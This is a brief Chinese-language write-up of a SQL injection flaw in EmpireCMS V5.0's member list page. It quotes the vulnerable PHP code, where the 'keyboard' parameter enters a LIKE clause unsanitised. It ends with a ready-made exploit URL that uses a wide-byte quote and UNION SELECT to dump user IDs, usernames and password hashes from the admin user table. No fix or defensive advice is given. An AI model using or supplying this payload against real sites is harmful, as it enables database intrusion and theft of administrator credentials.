帝国ECMS 0Day V5.0注射漏洞分析
帝国ECMS /e/member/list/index.php文件:
if($sear)
{
$keyboard=RepPostVar2($_GET['keyboard']);
if($keyboard)
{
$add.=$where.$user_username.” like ‘%$keyboard%’”;
}
$search.=”&sear=1&keyboard=$keyboard”;
}
判断sear参数是否存在,然后直接去keyboard的参数,然后再判断keyboard值是否为空,如果不为空就直接把keyboard带入查询产生注射漏洞.
利用方法:
/e/member/list/index.php?sear=1&totalnum=1&keyboard=%D9′+union+select+1,1,1,concat(char(123),userid,char(95),username,char(95),password,char(125))+from+phome_enewsuser/*
